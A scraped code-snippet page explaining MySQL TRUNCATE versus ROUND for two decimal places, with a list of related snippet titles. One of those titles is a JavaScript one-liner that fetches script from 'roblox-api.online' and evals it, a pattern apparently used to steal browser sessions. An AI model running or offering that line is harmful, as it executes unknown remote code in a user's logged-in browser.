/SQL/Select mysql limit to 2 decimal places

Select mysql limit to 2 decimal places

/**
When formatting number to 2 decimal places you have two options TRUNCATE and ROUND.
You are looking for TRUNCATE function.
Examples:
**/

-- Without rounding:
TRUNCATE(0.166, 2)
-- will be evaluated to 0.16

TRUNCATE(0.164, 2)
-- will be evaluated to 0.16
-- docs: http://www.w3resource.com/mysql/mathematical-functions/mysql-truncate-function.php

-- With rounding:
ROUND(0.166, 2)
-- will be evaluated to 0.17

ROUND(0.164, 2)
-- will be evaluated to 0.16
-- docs: http://www.w3resource.com/mysql/mathematical-functions/mysql-round-function.php

Source: stackoverflow.com

Similar codes

4 votes206 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
0 vote198 views1 answer
CREATE MULTIPLE FK
SQL
0 vote228 views1 answer
Create table with timestamp mysql youtube
SQL
0 vote191 views1 answer
Grant owner postgresql
SQL
0 vote231 views1 answer
Mysql select smaller of two values
SQL
-1 vote232 views2 answers
First letter capital in mysql query
SQL
0 vote208 views1 answer
Low level operator in dbms
SQL
0 vote231 views1 answer
How to import pymysql through jupyter notebook for windows
SQL
19 votes227 views5 answers
Change column name mysql command line
SQL
0 vote221 views1 answer
Oracle exchange subpartition
SQL